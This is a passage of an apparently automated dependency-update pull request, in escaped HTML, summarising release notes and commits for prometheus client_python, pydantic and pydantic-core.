\u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1077\"\u003eprometheus/client_python#1077\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Python 3.13 by \u003ca href=\"https://github.com/Pliner\"\u003e\u003ccode\u003e@​Pliner\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1080\"\u003eprometheus/client_python#1080\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCorrect nh sample span structure and parsing by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1082\"\u003eprometheus/client_python#1082\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMigrate from setup.py to pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1084\"\u003eprometheus/client_python#1084\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChanged pushgateway.md by \u003ca href=\"https://github.com/mallika-mur\"\u003e\u003ccode\u003e@​mallika-mur\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1083\"\u003eprometheus/client_python#1083\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix order-dependent flaky tests related to UTF-8 support by \u003ca href=\"https://github.com/dg98\"\u003e\u003ccode\u003e@​dg98\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1093\"\u003eprometheus/client_python#1093\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/8746c49a76a7929795fab7b593b1c44dc8c972d2\"\u003e\u003ccode\u003e8746c49\u003c/code\u003e\u003c/a\u003e Release 0.23.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/266beb2567e0040a5790836c32de5a643d5177e4\"\u003e\u003ccode\u003e266beb2\u003c/code\u003e\u003c/a\u003e fix: use tuples instead of packaging Version (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1136\"\u003e#1136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/f9471403a82de6af93feeac2d38938ca1c384b6d\"\u003e\u003ccode\u003ef947140\u003c/code\u003e\u003c/a\u003e fix: Use \u003ccode\u003easyncio.new_event_loop()\u003c/code\u003e to create event loop for tests (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1138\"\u003e#1138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b9e78a3f701fd442f57db23701c2021a529a84c3\"\u003e\u003ccode\u003eb9e78a3\u003c/code\u003e\u003c/a\u003e Release 0.23.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b3fbbca891a6c6d07b83a3680919956a3c3ab523\"\u003e\u003ccode\u003eb3fbbca\u003c/code\u003e\u003c/a\u003e Fix issue parsing double spaces after # HELP/# TYPE (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1134\"\u003e#1134\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/47d2b416d75f5569863e2bb08a15b58218563814\"\u003e\u003ccode\u003e47d2b41\u003c/code\u003e\u003c/a\u003e Do not use global when only reading variable (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1133\"\u003e#1133\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/4de31eee009a527ba7a5cda76a4aef403df7ab0d\"\u003e\u003ccode\u003e4de31ee\u003c/code\u003e\u003c/a\u003e fix: remove space after comma in openmetrics exposition (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1132\"\u003e#1132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/3586355e648f1d8a058cdb711bc2ce920ce58ca4\"\u003e\u003ccode\u003e3586355\u003c/code\u003e\u003c/a\u003e Emit native histograms only when OM 2.0.0 is requested (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1128\"\u003e#1128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/9e3eb6c7e146d8003d12e24db56f5abfcc0bbef6\"\u003e\u003ccode\u003e9e3eb6c\u003c/code\u003e\u003c/a\u003e Fix bug which caused metric publishing to not accept query string parameters ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/d358f469a7bc2480005775a9be8de30c20c88ab6\"\u003e\u003ccode\u003ed358f46\u003c/code\u003e\u003c/a\u003e Bump flake8 libraries (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1127\"\u003e#1127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.20.0...v0.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pydantic` from 2.11.10 to 2.12.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/releases\"\u003epydantic's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 2025-11-05\u003c/h2\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method of the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.3 2025-10-17\u003c/h2\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.13 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported \u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided to emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also adds back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still \u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.2 2025-10-14\u003c/h2\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/blob/v2.12.4/HISTORY.md\"\u003epydantic's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.4\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in\n\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.3\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.12 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported\n\u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided\nto emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also add back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still\n\u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/5c842dfc9c245fb37aa1f5ec5b55c1aed10bd7e6\"\u003e\u003ccode\u003e5c842df\u003c/code\u003e\u003c/a\u003e Prepare release v2.12.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/c678a710e8b8bb2ff4dce6233c6d5c88dc579136\"\u003e\u003ccode\u003ec678a71\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003epydantic-core\u003c/code\u003e to v2.41.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/a7cd29254b2611c5768beb86e7ffd2c1c130a19a\"\u003e\u003ccode\u003ea7cd292\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003ecloudpickle\u003c/code\u003e to v3.1.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/21f627801b5eedfa87bed55925f73cf329cc9c2c\"\u003e\u003ccode\u003e21f6278\u003c/code\u003e\u003c/a\u003e Bump actions/setup-node from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/8d6be8fea9662203977b95758d97ec298edcd54a\"\u003e\u003ccode\u003e8d6be8f\u003c/code\u003e\u003c/a\u003e Bump astral-sh/setup-uv from 6 to 7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/17865ea3a1fd389ba697990b762f82a419a48221\"\u003e\u003ccode\u003e17865ea\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 4 to 5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/90ad0af6b9340f72dde77997ed18fc180771e69f\"\u003e\u003ccode\u003e90ad0af\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/18e6672b6fdeaeb75ccbbcb3c7883509b1f56cb3\"\u003e\u003ccode\u003e18e6672\u003c/code\u003e\u003c/a\u003e Drop testing under PyPy 3.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/650215be2d2336a72af481b724b368fed356d7e8\"\u003e\u003ccode\u003e650215b\u003c/code\u003e\u003c/a\u003e Document workaround for \u003ccode\u003eMongoDsn\u003c/code\u003e default port\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/e3267902272d8290ed6d1ae06f43052b2968ef14\"\u003e\u003ccode\u003ee326790\u003c/code\u003e\u003c/a\u003e Fix example of for \u003ccode\u003ebytes_invalid_encoding\u003c/code\u003e validation error\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.11.10...v2.12.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pydantic-core` from 2.33.2 to 2.41.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic-core/releases\"\u003epydantic-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.41.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCorrect invalid serialization of \u003ccode\u003edate\u003c/code\u003e/\u003ccode\u003edatetime\u003c/code\u003e/\u003ccode\u003etime\u003c/code\u003e/\u003ccode\u003etimedelta\u003c/code\u003e by pulling downcast checks up by \u003ca href=\"https://github.com/astei\"\u003e\u003ccode\u003e@​astei\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1851\"\u003epydantic/pydantic-core#1851\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eavoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic/pydantic-core#1853\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add more 3.14t builds, delete duplicate linux aarch64 build by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic/pydantic-core#1864\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eJsonValue\u003c/code\u003e: Deduplicate keys before populating Dict by \u003ca href=\"https://github.com/friendlymatthew\"\u003e\u003ccode\u003e@​friendlymatthew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1865\"\u003epydantic/pydantic-core#1865\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: only percent-encode characters in the userinfo encode set by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1852\"\u003epydantic/pydantic-core#1852\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump jiter from 0.11.0 to 0.11.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1878\"\u003epydantic/pydantic-core#1878\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump regex from 1.11.3 to 1.12.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1877\"\u003epydantic/pydantic-core#1877\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump percent-encoding from 2.3.1 to 2.3.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1876\"\u003epydantic/pydantic-core#1876\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix issue with field_serializers on nested typed dicts by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic/pydantic-core#1879\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eclean up GC traversal for some top-level types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1870\"\u003epydantic/pydantic-core#1870\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eadd type inference for serializing ip address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic/pydantic-core#1868\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erevert url credential encoding (to be reintroduced as an option in future) by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1882\"\u003epydantic/pydantic-core#1882\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eoptimizations in URL implementation by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic/pydantic-core#1833\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/friendlymatthew\"\u003e\u003ccode\u003e@​friendlymatthew\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca 